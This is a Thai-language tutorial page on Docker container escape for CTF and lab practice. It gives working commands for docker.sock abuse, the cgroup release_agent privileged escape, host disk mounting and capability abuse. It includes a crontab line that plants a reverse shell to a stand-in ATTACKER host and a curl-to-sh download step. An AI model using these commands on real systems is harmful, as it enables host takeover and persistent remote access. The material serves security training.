Docker Container Escape (เชิงลึก)
Docker Container Escape เชิงลึก: ครอบคลุมทุกเทคนิคหนีออกจาก container ไป host — docker.sock, privileged mode (cgroup release_agent, device mount), capability abuse (SYS_ADMIN/SYS_PTRACE/DAC_READ_SEARCH), host namespace, และ writable host mount พร้อม detection (amicontained/deepce) + lab + troubleshooting (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาตเท่านั้น)
1. หลักการ & Enumeration
Container คือ process ที่ถูก isolate ด้วย namespace + cgroup + capability การ escape = ทำลาย isolation นี้ เริ่มจาก enumerate ว่า container ตั้งค่าอย่างไร (privileged? capability อะไร? mount อะไร?)
# เครื่องมือสแกนอัตโนมัติ
deepce.sh # หา escape vector ทั้งหมด
amicontained # ดู capability + namespace
# manual
cat /proc/self/status | grep -i cap # capabilities
capsh --print
mount | grep -vE 'proc|sys|cgroup' # mounts
ls -la /var/run/docker.sock 2>/dev/null # docker socket?
cat /proc/1/cgroup # cgroup info
fdisk -l 2>/dev/null # เห็น host disk = privileged2. Docker Socket Escape
# ถ้ามี docker binary
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host sh
# ถ้าไม่มี docker binary — คุย API ผ่าน curl
# สร้าง container ที่ mount host /
curl -s --unix-socket /var/run/docker.sock -X POST \
-H 'Content-Type: application/json' \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"HostConfig":{"Binds":["/:/host"]},"Tty":true}' \
http://localhost/containers/create
# แล้ว start + attach3. Privileged Container Escape
# ใน privileged container — escape ผ่าน cgroup release_agent
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
cat > /cmd <<'EOF'
#!/bin/sh
ip a > $host_path/output # หรือ reverse shell
EOF
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output# privileged เห็น host disk
fdisk -l
mkdir /mnt/host && mount /dev/sda1 /mnt/host
# เขียน cron/ssh key บน host
echo '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/443 0>&1"' >> /mnt/host/etc/crontab4. Capability Abuse
| Capability | วิธี escape |
|---|---|
| CAP_SYS_ADMIN | mount, cgroup release_agent escape |
| CAP_SYS_PTRACE + hostPID | inject เข้า process บน host (ptrace) |
| CAP_DAC_READ_SEARCH | อ่านไฟล์ host ทุกไฟล์ (shocker exploit) |
| CAP_SYS_MODULE | โหลด kernel module = full host control |
| CAP_DAC_OVERRIDE | เขียนไฟล์ข้าม permission |
# ถ้ามี SYS_PTRACE + --pid=host
ps aux # เห็น process ของ host
# inject shellcode เข้า process บน host ด้วย ptrace
# (ใช้ tool เช่น https://github.com/0x00pf/0x00sec_code injectso)5. Lab Walkthrough
- 1ได้ shell ใน container → รัน
deepce.shหรือamicontained - 2เช็ค: docker.sock mount? → escape ทันที (section 2)
- 3เช็ค privileged:
fdisk -lเห็น disk = privileged → cgroup release_agent หรือ mount disk - 4เช็ค capability:
capsh --print→ ถ้ามี SYS_ADMIN/DAC_READ_SEARCH → ใช้ตามตาราง - 5เช็ค mount: host path เขียนได้? → cron/ssh key
- 6หลัง escape: เป็น root บน host → flag มักอยู่ /root, /etc, หรือ container อื่น
6. Troubleshooting
| อาการ | สาเหตุ / แก้ |
|---|---|
| release_agent: permission denied | ไม่มี SYS_ADMIN — ลอง vector อื่น |
| ไม่มี docker binary | curl --unix-socket คุย API แทน |
| mount: operation not permitted | ไม่ใช่ privileged — เช็ค capability |
| fdisk ไม่เห็น disk | ไม่ privileged — หา docker.sock/mount/capability |
| escape สำเร็จแต่ไม่ใช่ root host | container user mapping — เช็ค /proc/self/uid_map |
7. Indicators & Quick Reference
- เริ่ม: deepce/amicontained สแกน → เลือก vector ตามที่เจอ
- docker.sock = ง่ายสุด (root host ทันที)
- privileged → cgroup release_agent หรือ mount disk
- capability → ดูตาราง (SYS_ADMIN พบบ่อย)
- เชื่อม: ถ้าอยู่ใน K8s ดูหัวข้อ Kubernetes Attacks ด้วย
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติว่าคุณเพิ่งได้ shell เข้าไปใน container ของโจทย์ (ผ่าน RCE, webshell, upload หรืออะไรก็ตาม) มีแค่เครื่องมือพื้นฐานใน Kali ไม่รู้จะเริ่มตรงไหน ทำตามขั้นตอนด้านล่างนี้ทีละข้อ แล้วดู decision tree ต่อว่าเจออะไรแล้วควรไปทางไหน
- 1เช็คว่าอยู่ใน container จริงไหม: พิมพ์
ls -la /.dockerenv— ถ้าเจอไฟล์นี้ (แม้ว่างเปล่า) แปลว่าอยู่ใน Docker container แน่นอน - 2ดู cgroup:
cat /proc/1/cgroup— ถ้าเห็น path มีคำว่าdockerหรือkubepodsยืนยันอีกชั้น (kubepods = อยู่ใน k8s pod ด้วย ให้ไปดูหัวข้อ Kubernetes Attacks ต่อ) - 3เช็ค capabilities ที่มี:
capsh --print— ดูบรรทัดCurrent:ถ้าเห็นcap_sys_adminหรือcap_dac_read_search= มีช่องทาง escape สูง - 4ดู mount points:
mountหรือกรองด้วยmount | grep -vE 'proc|sys|cgroup'เพื่อหา mount แปลกๆ เช่น host path ที่เขียนได้ - 5เช็ค docker socket:
ls -la /var/run/docker.sock— ถ้ามีไฟล์นี้และเขียนได้ (rw) = escape ได้ทันทีเพราะคุย Docker API ของ host ได้ตรงๆ - 6เช็คสิทธิ์ตัวเอง:
id— เป็น root ใน container (uid=0) ไม่ได้แปลว่าเป็น root บน host แต่ทำให้ escape ง่ายขึ้นมาก (mount, ptrace ทำได้) - 7เช็ค hostname/network:
hostnameและip a— ยืนยันว่าอยู่คนละ network namespace จาก host - 8ถ้าสงสัยว่า privileged ให้รัน
fdisk -l— ถ้าเห็น disk ของจริง (เช่น/dev/sda) = container privileged แน่นอน ไปต่อ cgroup release_agent exploit ได้เลย - 9รันเครื่องมืออัตโนมัติสรุปทุกอย่างในทีเดียว:
curl -sSL https://raw.githubusercontent.com/stealthcopter/deepce/main/deepce.sh | shหรือถ้ามี binary ให้รันamicontainedตรงๆ
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| สแกนหา escape vector อัตโนมัติ | curl, sh | deepce.sh (โหลดสคริปต์เดียว รันได้เลย) | gtfobins.github.io |
| ดู capability/namespace ที่มี | - | amicontained (Go binary) | - |
| escape ผ่าน docker.sock | docker CLI, curl | - | - |
| เช็คว่ามี k8s แวดล้อมไหม | kubectl (ถ้ามี) | kubectl (ดาวน์โหลดจาก dl.k8s.io) | kubernetes.io/docs |
| ถ้าหลุดไป pod อื่นที่เป็น k8s ต่อ | - | peirates (interactive k8s exploitation) | hackingthe.cloud |
| scan cluster จากภายนอกหลัง escape | - | kube-hunter (pip install kube-hunter) | kubernetes.io/docs |
| ล่า privilege escalation เพิ่มบน host หลัง escape | find, ls | linpeas.sh | gtfobins.github.io |
| ตรวจ SUID/GTFOBins หลังได้ host shell | find, ls | - | gtfobins.github.io |
kubepods หรือเจอ /var/run/secrets/kubernetes.io นี่คือ pod ใน k8s ให้เช็ค service account token + RBAC (kubectl auth can-i --list) แทนที่จะสู้กับ docker isolation ตรงๆ; (2) aws-iam-privesc — ถ้าเจอ env/credential file ที่ชี้ไปยัง cloud IAM role หลัง escape ไป host แล้ว; (3) ssrf — ถ้าใน container เข้าถึง 169.254.169.254 (cloud metadata) ได้ ลองดึง IAM credential ผ่านนั้นก่อนเสียเวลา escape; (4) aws-s3-attacks — ถ้าได้ credential จาก metadata แล้วพบว่ามีสิทธิ์เข้าถึง S3 bucket ต่อหัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้